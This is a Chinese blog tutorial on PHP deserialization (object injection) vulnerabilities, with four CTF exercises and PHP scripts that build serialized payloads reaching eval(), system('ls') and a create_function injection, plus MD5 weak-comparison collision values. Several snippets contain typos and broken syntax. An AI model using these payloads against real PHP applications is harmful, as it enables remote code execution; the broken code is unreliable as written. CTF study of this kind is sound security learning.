web渗透-反序列化
一:概念
1、序列化:将变量转化为可保存或者可以传输的字符串的过程;实现函数是serialize()函数(变量转化成字符串)
2、反序列化:把这个字符串在转化成原来变量使用;就是序列化的逆过程;实现函数是unserialize()函数( 字符串转换成变量)
3、示例
<?php
class Student{
	public $name="admin";
	public $grade=90;
}
$a = new Student;
var_dump($a);
echo serialize($a);//序列化(变量转成字符串)
$b=unseralize(serialize($a));//发序列化(字符串转换成变量)
var_dump($b);
?>
4、序列化和发序列化的目的是为了更加轻松的存储和传输数据;使程序更具有维护性质
5、发序列话漏洞也称为对象注入;就是当程序在进行反序列化时;会自动调用一些函数;但是如果传入函数的参数可以被用户控制的话;用户可以输入一些恶意的代码到函数当中;从而导致反序列漏洞
二:魔术方法
(1)魔术方法就是满足条件自动触发;无需在手动调用触发

三:数组特性
(1)一个数组被当作函数触发时;如果第一个数组的第一个元素是对象;第二个元素是方法的名称;那么就会调用该对象的该方法
<php
class A{
	public $name;
	public function test(){
		echo "hello word!";
	}
}
$a=new A;//生成对象
$a->test();//调用方法
$arra=[$a,'test'];
$arr();//利用数组特性调用函数
四:例题讲解
(1)发序列解题步骤
1、注释掉和属性无关的内容
2、寻找pop链(给属性变量赋值)
3、构造序列化数据
4、传递数据到服务器
(2)题目
题目1:
<?php
show_source(__FILE__):
error_reportting(0);
class DEMO{
	public $func;
	public $args;
	public function safe(){
		echo $this->arg;
	}
	public function evil(){
		eval($this->arg);
	}
	public function run()
		$this->{$this->func}();
	public _construct(){
		$this->func = 'evil';
	}
}
$obj=unserialize($GET['a'])
$obj->run();
?>
题解:审计代码;需要以GET方式传递一个参数;然后去执行run方法;分析run方法;当$func='evil'时;才会执行evil方法;evil方法中eval()函数能够将传递进来的参数当作php代码执行;然而用$args传递参数;我们需要构造序列化数据(包含恶意代码);然后传递给服务器;服务器反序列化还原数据;让eval函数执行代码!
//寻找pop链;构造序列化数据
<?php
class DEMO{
	public $func='evil';
	public $args='system("ls")';
}
$a=new DEMO;
echo urlencode(seralize($a));
?>
题目2
<?php
class Login{
	private $user='ylng';
	
	//function_destruct()
	{
		//if ($this->user='admin'){
			//echo $flag;
		}//else{
			//echo 'you are not my admin';
		}
	}
}
//$exp = $_GET['exp'];
//userialize(@$exp)
?>
题解:
审计代码;通过get方式传递数据;判断$user是否等于admin;如果等于admin 就输出flag;于是给$user赋值伪admin;然构造序列化数据(根据上面的步骤)
<?php
class Login{
    private $user='admin';//内部赋值
}
$d=new Login;
$d->user='admin';
echo urlencode(serialize($d));
?>
GET传值序列化数据拿到flag!
题目3-强网杯
<?php
highlight_file(__FILE__);
class BUU {
   public $correct = "";
   public $input = "";
   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}
if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}
?>
审计代码:
(1)分析判断语句:第一个if成立的条件是GET传参pleaseget=1;第二个if成立的条件伪POST传值pleaseport=2;第三个if成立的条件是需要两个不同的数。且这两个不同的数值的md5 的却相同;就是简单的弱类型碰撞md51=s878926199a&md52=s214587387a
(2)分析BUU类;当$correct=$input的时候;输出flag;考察指针引用!
//构造序列化数据
<?php
class BUU {
   public $correct = "";
   public $input = "";
}
$a=new BUU();
$a->input=&$a->correct;//引用;让input的是始终和correct的值相等<===>C++的指针!
echo urlencode(serialize($a));
?>
传值给服务器拿到flag!

题目4-赣网杯
//赣网杯例题
<?php
class func{
	public $chomd1;
	public $chomd2;
	public $key;
	public function __destruct(){
		unserialize($this->key)();
$this->chomd1='welcome'.$this->chomd2;
	}
}
class Getflag{
	public $code;
	public $action;
	public function getflag(){
		$a=$this->action;
		$a('',$this->code);
	}
}
unserialize($_GET[0]);
?>
题解:
突破点就是unserialize($this->key);让这个等于['$a','getflag']就可以调转到getflag方法了;分析getflag方法;发现考察的就是create_function函数闭合逃逸执行额外命令!构造payload;传递给服务器拿到flag!
强网杯题解!
<?php
class func
{
	public $mod1;
	public $mod2;
	public $key;
}
class Getflag
{
	public $code;
	public $action;
}
$g=new func;
$a=new getflag;
//unserialize($this->key)=['$a','getflag'];<==>
//$this->key=serialize(['$a','getflag']); <==
$a->key=serialize(['$a','getflag']);
$g->action=create_function;
$g->code=}systen('ls');//
echo urlencode(serialize($g));
?>

 纵有疾风起,人生不言弃
        纵有疾风起,人生不言弃
     
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号